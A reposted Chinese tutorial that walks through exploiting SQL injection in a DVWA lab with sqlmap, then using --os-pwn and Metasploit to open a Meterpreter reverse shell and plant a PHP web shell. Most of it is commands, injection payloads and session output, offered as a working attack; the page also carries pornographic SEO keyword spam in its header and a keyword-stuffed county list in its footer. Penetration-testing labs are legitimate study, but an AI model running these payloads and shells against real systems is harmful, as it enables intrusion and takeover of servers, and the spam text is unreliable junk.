国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > PHP > 正文

SQLMAP結合Meterpreter實現注入滲透返回shell

2024-05-04 21:50:21
字體:
來源:轉載
供稿:網友

自己搭建一個PHP+MYSQL平臺,靶場為DVWA,設置SQL注入靶場級別為low(方便測試使用)。

在提交框中輸入1,用burp抓包,將包數據復制到cookies.txt文檔中,拖到kali環境。

root@kali:~# sqlmap -r "/root/cookies.txt"

返回:

  1. sqlmap resumed the following injection point(s) from stored session: 
  2. --- 
  3. Parameter: id (GET) 
  4.     Type: boolean-based blind 
  5.     Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) 
  6.     Payload: id=-1890' OR 7466=7466#&Submit=Submit 
  7.     Type: error-based 
  8.     Title: MySQL OR error-based - WHERE or HAVING clause 
  9.     Payload: id=-6878' OR 1 GROUP BY CONCAT(0x7162626271,(SELECT (CASE WHEN (5403=5403) THEN 1 ELSE 0 END)),0x716b766271,FLOOR(RAND(0)*2)) HAVING MIN(0)#&Submit=Submit 
  10.     Type: AND/OR time-based blind 
  11.     Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment) 
  12.     Payload: id=' AND (SELECT * FROM (SELECT(SLEEP(5)))Dgpu)#&Submit=Submit 
  13.     Type: UNION query 
  14.     Title: MySQL UNION query (NULL) - 2 columns 
  15.     Payload: id=' UNION ALL SELECT NULL,CONCAT(0x7162626271,0x4c4266596d5953594265,0x716b766271)#&Submit=Submit 
  16. --- 
  17. [13:45:05] [INFO] the back-end DBMS is MySQL 
  18. web server operating system: Windows 
  19. web application technology: PHP 5.3.29, Apache 2.4.10 
  20. back-end DBMS: MySQL 5.0.12 
  21. [13:45:05] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.8' 

確定注入點后:

  1. root@kali:~# sqlmap -r "/root/cookies.txt" --os-pwn --msf-path=/opt/metasploit 

部分省略:

  1. how do you want to establish the tunnel? 
  2. [1] TCP: Metasploit Framework (default
  3. [2] ICMP: icmpsh - ICMP tunneling 

> 1(使用metasploit的TCP連接shell)

  1. which web application language does the web server support? 
  2. [1] ASP (default
  3. [2] ASPX 
  4. [3] JSP 
  5. [4] PHP 

> 4(PHP的腳本)

  1. what do you want to use for writable directory? 
  2. [1] common location(s) ('C:/xampp/htdocs/, C:/Inetpub/wwwroot/') (default
  3. [2] custom location(s) 
  4. [3] custom directory list file 
  5. [4] brute force search 

> 2(自定義路徑)

  1. please provide a comma separate list of absolute directory paths: D:/WWW/DVWA/(輸入絕對路徑) 
  2.  
  3. which connection type do you want to use
  4. [1] Reverse TCP: Connect back from the database host to this machine (default
  5. [2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535 
  6. [3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP 
  7. [4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS 
  8. [5] Bind TCP: Listen on the database host for a connection 
  9. > 1(TCP反向連接shell) 
  10. what is the local address? [Enter for '192.168.1.104' (detected)] 
  11. which local port number do you want to use? [16308] 
  12. which payload do you want to use
  13. [1] Meterpreter (default
  14. [2] Shell 
  15. [3] VNC 
  16. > 1(meterpreter shell) 

部分省略:

  1. PAYLOAD => windows/meterpreter/reverse_tcp 
  2. EXITFUNC => process 
  3. LPORT => 16308 
  4. LHOST => 192.168.1.104 
  5. [*] Started reverse handler on 192.168.1.104:16308 
  6. [*] Starting the payload handler... 
  7. [13:46:43] [INFO] running Metasploit Framework shellcode remotely via shellcodeexec, please wait.. 
  8. [*] Sending stage (957487 bytes) to 192.168.1.8 
  9. [*] Meterpreter session 1 opened (192.168.1.104:16308 -> 192.168.1.8:37639) at 2016-01-17 13:46:45 +0800 
  10. meterpreter > Loading extension espia...success. 
  11. meterpreter > Loading extension incognito...success. 
  12. meterpreter > Computer        : PGOS 
  13. OS              : Windows 7 (Build 7601, Service Pack 1). 
  14. Architecture    : x64 (Current Process is WOW64) 
  15. System Language : zh_CN 
  16. Domain          : WORKGROUP 
  17. Logged On Users : 1 
  18. Meterpreter     : x86/win32 
  19. meterpreter > Server username: PGOS/Administrator 
  20. meterpreter > 

同時,DVWA目錄下會生成一個隨機的php上傳shell。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 武川县| 安多县| 襄汾县| 体育| 浮山县| 黄龙县| 铜鼓县| 秭归县| 上饶市| 五大连池市| 江口县| 南江县| 浦东新区| 厦门市| 化州市| 宝山区| 乐陵市| 横山县| 乐清市| 炎陵县| 闻喜县| 东明县| 莱西市| 宜昌市| 宜丰县| 台安县| 南漳县| 高唐县| 沂南县| 三都| 高雄市| 库尔勒市| 哈密市| 西昌市| 浮梁县| 林周县| 奇台县| 卓尼县| 化州市| 岱山县| 鲁甸县|